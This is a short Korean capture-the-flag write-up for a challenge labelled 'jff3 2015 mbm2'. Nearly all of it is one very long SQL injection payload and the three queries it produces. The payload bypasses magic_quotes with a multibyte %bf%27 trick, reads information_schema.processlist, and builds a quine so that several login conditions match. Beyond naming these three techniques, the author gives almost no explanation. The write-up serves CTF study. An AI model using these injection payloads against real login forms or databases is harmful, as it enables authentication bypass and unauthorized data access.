jff3 2015 mbm2

 엄청난 길이의 페이로드를 만들어낸 문제.......

 

3개의 쿼리가 실행되며 나오는 값을 가지고 5가지의 조건을 한번에 충족시켜야 합니다.

자세한 설명은 생략하겠습니다.....(사실 설명하기 힘듬....)

사용한 기법에 대해서만 설명하도록 하겠습니다.

멀티바이트시 magic_quotes 우회

information_schema.processlist

quine

크게 이 3가지를 사용한 것 같습니다.

자...이제 페이로드를 보여드리겠습니다.

 uid=%bf%27%23&upw=%0aunion%20select%200x61646d696e,substr(info,71,length(info)-71),concat(0x2720554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c41434528272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272c43484152283334292c4348415228333929292c43484152283336292c272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272920415320746f6b656e2d2d20)%20from%20information_schema.processlist--%20

 

상세쿼리

r1 =>select id,pw,token from member where id='?'#' and 'chk'='chk' and pw=' union select 0x61646d696e,substr(info,71,length(info)-71),concat(0x2720554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c41434528272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272c43484152283334292c4348415228333929292c43484152283336292c272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272920415320746f6b656e2d2d20) from information_schema.processlist-- '

r2 =>select id,token from member where token='' UNION SELECT 0x27756e696f6e2073656c6563742073756273747228696e666f2c33362c6c656e67746828696e666f292d33362b22414141410A756E696F6E2073656C656374203078363136343664363936652C73756273747228696E666F2C37312C6C656E67746828696E666F292D3731292C636F6E6361742830783237323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373263343334383431353232383333333432393263343334383431353232383333333932393239326334333438343135323238333333363239326332373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373239323034313533323037343666366236353665326432643230292066726F6D20696E666F726D6174696F6E5F736368656D612E70726F636573736C6973742D2D204242424222292c73756273747228696e666f2c40613a3d6c6f63617465282741414141272c696e666f292b342c6c6f63617465282742424242272c696e666f292d4061292066726f6d20696e666f726d6174696f6e5f736368656d612e70726f636573736c6973742d2d20,REPLACE(REPLACE('" UNION SELECT 0x27756e696f6e2073656c6563742073756273747228696e666f2c33362c6c656e67746828696e666f292d33362b22414141410A756E696F6E2073656C656374203078363136343664363936652C73756273747228696E666F2C37312C6C656E67746828696E666F292D3731292C636F6E6361742830783237323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373263343334383431353232383333333432393263343334383431353232383333333932393239326334333438343135323238333333363239326332373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373239323034313533323037343666366236353665326432643230292066726F6D20696E666F726D6174696F6E5F736368656D612E70726F636573736C6973742D2D204242424222292c73756273747228696e666f2c40613a3d6c6f63617465282741414141272c696e666f292b342c6c6f63617465282742424242272c696e666f292d4061292066726f6d20696e666f726d6174696f6e5f736368656d612e70726f636573736c6973742d2d20,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS token-- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT 0x27756e696f6e2073656c6563742073756273747228696e666f2c33362c6c656e67746828696e666f292d33362b22414141410A756E696F6E2073656C656374203078363136343664363936652C73756273747228696E666F2C37312C6C656E67746828696E666F292D3731292C636F6E6361742830783237323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373263343334383431353232383333333432393263343334383431353232383333333932393239326334333438343135323238333333363239326332373232323035353465343934663465323035333435346334353433353432303330373833323337333733353336363533363339333636363336363533323330333733333336333533363633333633353336333333373334333233303337333333373335333633323337333333373334333733323332333833363339333636353336333633363636333236333333333333333336333236333336363333363335333636353336333733373334333633383332333833363339333636353336333633363636333233393332363433333333333333363332363233323332333433313334333133343331333433312C6865782873756273747228696E666F2C37312C6C656E67746828696E666F292D373129292C307833343332333433323334333233343332333233323332333933323633333733333337333533363332333733333337333433373332333233383336333933363635333633363336363633323633333433303336333133333631333336343336363333363636333633333336333133373334333633353332333833323337333433313334333133343331333433313332333733323633333633393336363533363336333636363332333933323632333333343332363333363633333636363336333333363331333733343336333533323338333233373334333233343332333433323334333233323337333236333336333933363635333633363336363633323339333236343334333033363331333233393332333033363336333733323336363633363634333233303336333933363635333633363336363633373332333636343336333133373334333633393336363633363635333536363337333333363333333633383336333533363634333633313332363533373330333733323336363633363333333633353337333333373333333636333336333933373333333733343332363433323634333233302C30783263353234353530346334313433343532383532343535303463343134333435323832323234323232633433343834313532323833333334323932633433343834313532323833333339323932393263343334383431353232383333333632393263323232343232323932303431353332303734366636623635366532643264323032373239323034313533323037343666366236353665326432643230292066726F6D20696E666F726D6174696F6E5F736368656D612E70726F636573736C6973742D2D204242424222292c73756273747228696e666f2c40613a3d6c6f63617465282741414141272c696e666f292b342c6c6f63617465282742424242272c696e666f292d4061292066726f6d20696e666f726d6174696f6e5f736368656d612e70726f636573736c6973742d2d20,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS token-- ') AS token-- '

r3 ==>select id,pw from member where id=''union select substr(info,36,length(info)-36+"AAAA union select 0x61646d696e,substr(info,71,length(info)-71),concat(0x2720554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c41434528272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272c43484152283334292c4348415228333929292c43484152283336292c272220554e494f4e2053454c45435420307832373735366536393666366532303733363536633635363337343230373337353632373337343732323836393665363636663263333333363263366336353665363737343638323836393665363636663239326433333336326232323431343134313431,hex(substr(info,71,length(info)-71)),0x34323432343234323232323932633733373536323733373437323238363936653636366632633430363133613364366336663633363137343635323832373431343134313431323732633639366536363666323932623334326336633666363336313734363532383237343234323432343232373263363936653636366632393264343036313239323036363732366636643230363936653636366637323664363137343639366636653566373336333638363536643631326537303732366636333635373337333663363937333734326432643230,0x2c5245504c414345285245504c414345282224222c43484152283334292c4348415228333929292c43484152283336292c2224222920415320746f6b656e2d2d20272920415320746f6b656e2d2d20) from information_schema.processlist-- BBBB"),substr(info,@a:=locate('AAAA',info)+4,locate('BBBB',info)-@a) from information_schema.processlist-- '

 

하. 어렵다 그럼 0x4E20 ~ (이렇게 푸신분은 이걸 이해해 주시겠지?.............)